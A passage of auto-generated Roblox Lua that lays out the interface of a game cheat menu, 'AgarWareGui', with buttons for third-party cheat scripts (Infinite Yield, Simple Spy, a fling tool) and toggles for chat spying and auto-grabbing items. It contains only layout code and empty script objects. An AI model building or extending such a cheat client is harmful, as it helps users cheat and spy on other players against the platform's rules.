G2L["b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b6"]["BackgroundTransparency"] = 1;
G2L["b6"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b6"]["Text"] = [[Auto Execute]];
G2L["b6"]["Name"] = [[AutoExecuteText]];
G2L["b6"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide
G2L["b7"] = Instance.new("Frame", G2L["a5"]);
G2L["b7"]["BorderSizePixel"] = 0;
G2L["b7"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["b7"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["b7"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b7"]["Name"] = [[SettingsRightSide]];
G2L["b7"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.UIListLayout
G2L["b8"] = Instance.new("UIListLayout", G2L["b7"]);
G2L["b8"]["Padding"] = UDim.new(0, 7);
G2L["b8"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup
G2L["b9"] = Instance.new("Frame", G2L["b7"]);
G2L["b9"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["b9"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["b9"]["Size"] = UDim2.new(0, 170, 0, 80);
G2L["b9"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b9"]["Name"] = [[ExploitsGroup]];
G2L["b9"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsScript
G2L["ba"] = Instance.new("LocalScript", G2L["b9"]);
G2L["ba"]["Name"] = [[ExploitsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.UIListLayout
G2L["bb"] = Instance.new("UIListLayout", G2L["b9"]);
G2L["bb"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsAccentColor
G2L["bc"] = Instance.new("Frame", G2L["b9"]);
G2L["bc"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["bc"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["bc"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["bc"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["bc"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["bc"]["Name"] = [[ExploitsAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsTitle
G2L["bd"] = Instance.new("TextLabel", G2L["b9"]);
G2L["bd"]["TextWrapped"] = true;
G2L["bd"]["BorderSizePixel"] = 0;
G2L["bd"]["TextSize"] = 14;
G2L["bd"]["TextScaled"] = true;
G2L["bd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["bd"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["bd"]["BackgroundTransparency"] = 0.95;
G2L["bd"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["bd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bd"]["Text"] = [[Exploits]];
G2L["bd"]["LayoutOrder"] = 1;
G2L["bd"]["Name"] = [[ExploitsTitle]];
G2L["bd"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.ExploitsTitle.ExploitsMinimize
G2L["be"] = Instance.new("TextButton", G2L["bd"]);
G2L["be"]["BorderSizePixel"] = 0;
G2L["be"]["TextSize"] = 14;
G2L["be"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["be"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["be"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["be"]["BackgroundTransparency"] = 1;
G2L["be"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["be"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["be"]["Text"] = [[-]];
G2L["be"]["Name"] = [[ExploitsMinimize]];
G2L["be"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow
G2L["bf"] = Instance.new("Frame", G2L["b9"]);
G2L["bf"]["BorderSizePixel"] = 0;
G2L["bf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["bf"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["bf"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["bf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["bf"]["Name"] = [[IYRow]];
G2L["bf"]["LayoutOrder"] = 3;
G2L["bf"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYScript
G2L["c0"] = Instance.new("LocalScript", G2L["bf"]);
G2L["c0"]["Name"] = [[IYScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.IYRow.IYButton
G2L["c1"] = Instance.new("TextButton", G2L["bf"]);
G2L["c1"]["TextSize"] = 14;
G2L["c1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c1"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c1"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["c1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["c1"]["Text"] = [[Infinite Yield]];
G2L["c1"]["Name"] = [[IYButton]];
G2L["c1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow
G2L["c2"] = Instance.new("Frame", G2L["b9"]);
G2L["c2"]["BorderSizePixel"] = 0;
G2L["c2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["c2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c2"]["Name"] = [[SSRow]];
G2L["c2"]["LayoutOrder"] = 4;
G2L["c2"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSScript
G2L["c3"] = Instance.new("LocalScript", G2L["c2"]);
G2L["c3"]["Name"] = [[SSScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.SSRow.SSButton
G2L["c4"] = Instance.new("TextButton", G2L["c2"]);
G2L["c4"]["TextSize"] = 14;
G2L["c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c4"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c4"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["c4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["c4"]["Text"] = [[Simple Spy V3]];
G2L["c4"]["Name"] = [[SSButton]];
G2L["c4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow
G2L["c5"] = Instance.new("Frame", G2L["b9"]);
G2L["c5"]["BorderSizePixel"] = 0;
G2L["c5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c5"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["c5"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["c5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c5"]["Name"] = [[FlingScriptRow]];
G2L["c5"]["LayoutOrder"] = 4;
G2L["c5"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptScript
G2L["c6"] = Instance.new("LocalScript", G2L["c5"]);
G2L["c6"]["Name"] = [[FlingScriptScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsRightSide.ExploitsGroup.FlingScriptRow.FlingScriptButton
G2L["c7"] = Instance.new("TextButton", G2L["c5"]);
G2L["c7"]["TextSize"] = 14;
G2L["c7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["c7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["c7"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["c7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["c7"]["Text"] = [[Fling GUI (for bedw)]];
G2L["c7"]["Name"] = [[FlingScriptButton]];
G2L["c7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage
G2L["c8"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["c8"]["Visible"] = false;
G2L["c8"]["Active"] = true;
G2L["c8"]["BorderSizePixel"] = 0;
G2L["c8"]["Name"] = [[TCOMainPage]];
G2L["c8"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["c8"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["c8"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c8"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["c8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c8"]["ScrollBarThickness"] = 0;
G2L["c8"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide
G2L["c9"] = Instance.new("Frame", G2L["c8"]);
G2L["c9"]["BorderSizePixel"] = 0;
G2L["c9"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["c9"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["c9"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["c9"]["Name"] = [[TCOMainLeftSide]];
G2L["c9"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.UIListLayout
G2L["ca"] = Instance.new("UIListLayout", G2L["c9"]);
G2L["ca"]["Padding"] = UDim.new(0, 7);
G2L["ca"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup
G2L["cb"] = Instance.new("Frame", G2L["c9"]);
G2L["cb"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["cb"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["cb"]["Size"] = UDim2.new(0, 170, 0, 100);
G2L["cb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["cb"]["Name"] = [[MainGroup]];
G2L["cb"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainScript
G2L["cc"] = Instance.new("LocalScript", G2L["cb"]);
G2L["cc"]["Name"] = [[MainScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.UIListLayout
G2L["cd"] = Instance.new("UIListLayout", G2L["cb"]);
G2L["cd"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainAccentColor
G2L["ce"] = Instance.new("Frame", G2L["cb"]);
G2L["ce"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["ce"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["ce"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["ce"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["ce"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["ce"]["Name"] = [[MainAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainTitle
G2L["cf"] = Instance.new("TextLabel", G2L["cb"]);
G2L["cf"]["TextWrapped"] = true;
G2L["cf"]["BorderSizePixel"] = 0;
G2L["cf"]["TextSize"] = 14;
G2L["cf"]["TextScaled"] = true;
G2L["cf"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["cf"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["cf"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["cf"]["BackgroundTransparency"] = 0.95;
G2L["cf"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["cf"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["cf"]["Text"] = [[Main]];
G2L["cf"]["LayoutOrder"] = 1;
G2L["cf"]["Name"] = [[MainTitle]];
G2L["cf"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.MainTitle.MainMinimize
G2L["d0"] = Instance.new("TextButton", G2L["cf"]);
G2L["d0"]["BorderSizePixel"] = 0;
G2L["d0"]["TextSize"] = 14;
G2L["d0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d0"]["BackgroundTransparency"] = 1;
G2L["d0"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["d0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d0"]["Text"] = [[-]];
G2L["d0"]["Name"] = [[MainMinimize]];
G2L["d0"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow
G2L["d1"] = Instance.new("Frame", G2L["cb"]);
G2L["d1"]["BorderSizePixel"] = 0;
G2L["d1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d1"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["d1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["d1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d1"]["Name"] = [[ChatSpyRow]];
G2L["d1"]["LayoutOrder"] = 2;
G2L["d1"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyScript
G2L["d2"] = Instance.new("LocalScript", G2L["d1"]);
G2L["d2"]["Name"] = [[ChatSpyScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyTickBox
G2L["d3"] = Instance.new("TextButton", G2L["d1"]);
G2L["d3"]["TextSize"] = 14;
G2L["d3"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d3"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["d3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["d3"]["Text"] = [[]];
G2L["d3"]["Name"] = [[ChatSpyTickBox]];
G2L["d3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ChatSpyRow.ChatSpyText
G2L["d4"] = Instance.new("TextLabel", G2L["d1"]);
G2L["d4"]["BorderSizePixel"] = 0;
G2L["d4"]["TextSize"] = 14;
G2L["d4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["d4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d4"]["BackgroundTransparency"] = 1;
G2L["d4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["d4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d4"]["Text"] = [[Spy Chat]];
G2L["d4"]["Name"] = [[ChatSpyText]];
G2L["d4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow
G2L["d5"] = Instance.new("Frame", G2L["cb"]);
G2L["d5"]["BorderSizePixel"] = 0;
G2L["d5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d5"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["d5"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["d5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d5"]["Name"] = [[ADODeathRow]];
G2L["d5"]["LayoutOrder"] = 2;
G2L["d5"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow.ADODeathTickBox
G2L["d6"] = Instance.new("TextButton", G2L["d5"]);
G2L["d6"]["TextSize"] = 14;
G2L["d6"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d6"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["d6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["d6"]["Text"] = [[]];
G2L["d6"]["Name"] = [[ADODeathTickBox]];
G2L["d6"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.ADODeathRow.ADODeathText
G2L["d7"] = Instance.new("TextLabel", G2L["d5"]);
G2L["d7"]["BorderSizePixel"] = 0;
G2L["d7"]["TextSize"] = 14;
G2L["d7"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d7"]["BackgroundTransparency"] = 1;
G2L["d7"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d7"]["Text"] = [[Auto Drop on Death]];
G2L["d7"]["Name"] = [[ADODeathText]];
G2L["d7"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow
G2L["d8"] = Instance.new("Frame", G2L["cb"]);
G2L["d8"]["BorderSizePixel"] = 0;
G2L["d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["d8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d8"]["Name"] = [[APickupRow]];
G2L["d8"]["LayoutOrder"] = 2;
G2L["d8"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow.APickupTickBox
G2L["d9"] = Instance.new("TextButton", G2L["d8"]);
G2L["d9"]["TextSize"] = 14;
G2L["d9"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d9"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["d9"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["d9"]["Text"] = [[]];
G2L["d9"]["Name"] = [[APickupTickBox]];
G2L["d9"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.APickupRow.APickupText
G2L["da"] = Instance.new("TextLabel", G2L["d8"]);
G2L["da"]["BorderSizePixel"] = 0;
G2L["da"]["TextSize"] = 14;
G2L["da"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["da"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["da"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["da"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["da"]["BackgroundTransparency"] = 1;
G2L["da"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["da"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["da"]["Text"] = [[Auto Grab Items]];
G2L["da"]["Name"] = [[APickupText]];
G2L["da"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow
G2L["db"] = Instance.new("Frame", G2L["cb"]);
G2L["db"]["BorderSizePixel"] = 0;
G2L["db"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["db"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["db"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["db"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["db"]["Name"] = [[AntiEnliRow]];
G2L["db"]["LayoutOrder"] = 2;
G2L["db"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow.AntiEnliTickBox
G2L["dc"] = Instance.new("TextButton", G2L["db"]);
G2L["dc"]["TextSize"] = 14;
G2L["dc"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["dc"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["dc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["dc"]["Text"] = [[]];
G2L["dc"]["Name"] = [[AntiEnliTickBox]];
G2L["dc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.MainGroup.AntiEnliRow.AntiEnliText
G2L["dd"] = Instance.new("TextLabel", G2L["db"]);
G2L["dd"]["BorderSizePixel"] = 0;
G2L["dd"]["TextSize"] = 14;
G2L["dd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["dd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["dd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["dd"]["BackgroundTransparency"] = 1;
G2L["dd"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["dd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["dd"]["Text"] = [[Prevent Enli Drop]];
G2L["dd"]["Name"] = [[AntiEnliText]];
G2L["dd"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup
G2L["de"] = Instance.new("Frame", G2L["c9"]);
G2L["de"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["de"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["de"]["Size"] = UDim2.new(0, 170, 0, 81);
G2L["de"]["Position"] = UDim2.new(0, 0, 0.29722, 0);
G2L["de"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["de"]["Name"] = [[ToolsGroup]];
G2L["de"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsScript
G2L["df"] = Instance.new("LocalScript", G2L["de"]);
G2L["df"]["Name"] = [[ToolsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.UIListLayout
G2L["e0"] = Instance.new("UIListLayout", G2L["de"]);
G2L["e0"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsAccentColor
G2L["e1"] = Instance.new("Frame", G2L["de"]);
G2L["e1"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["e1"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["e1"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["e1"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["e1"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["e1"]["Name"] = [[ToolsAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsTitle
G2L["e2"] = Instance.new("TextLabel", G2L["de"]);
G2L["e2"]["TextWrapped"] = true;
G2L["e2"]["BorderSizePixel"] = 0;
G2L["e2"]["TextSize"] = 14;
G2L["e2"]["TextScaled"] = true;
G2L["e2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e2"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["e2"]["BackgroundTransparency"] = 0.95;
G2L["e2"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["e2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e2"]["Text"] = [[Tools]];
G2L["e2"]["LayoutOrder"] = 1;
G2L["e2"]["Name"] = [[ToolsTitle]];
G2L["e2"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.ToolsTitle.ToolsMinimize
G2L["e3"] = Instance.new("TextButton", G2L["e2"]);
G2L["e3"]["BorderSizePixel"] = 0;
G2L["e3"]["TextSize"] = 14;
G2L["e3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e3"]["BackgroundTransparency"] = 1;
G2L["e3"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["e3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e3"]["Text"] = [[-]];
G2L["e3"]["Name"] = [[ToolsMinimize]];
G2L["e3"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMainPage.TCOMainLeftSide.ToolsGroup.DropAllRow
G2L["e4"] = Instance.new("Frame", G2L["de"]);
G2L["e4"]["BorderSizePixel"] = 0;
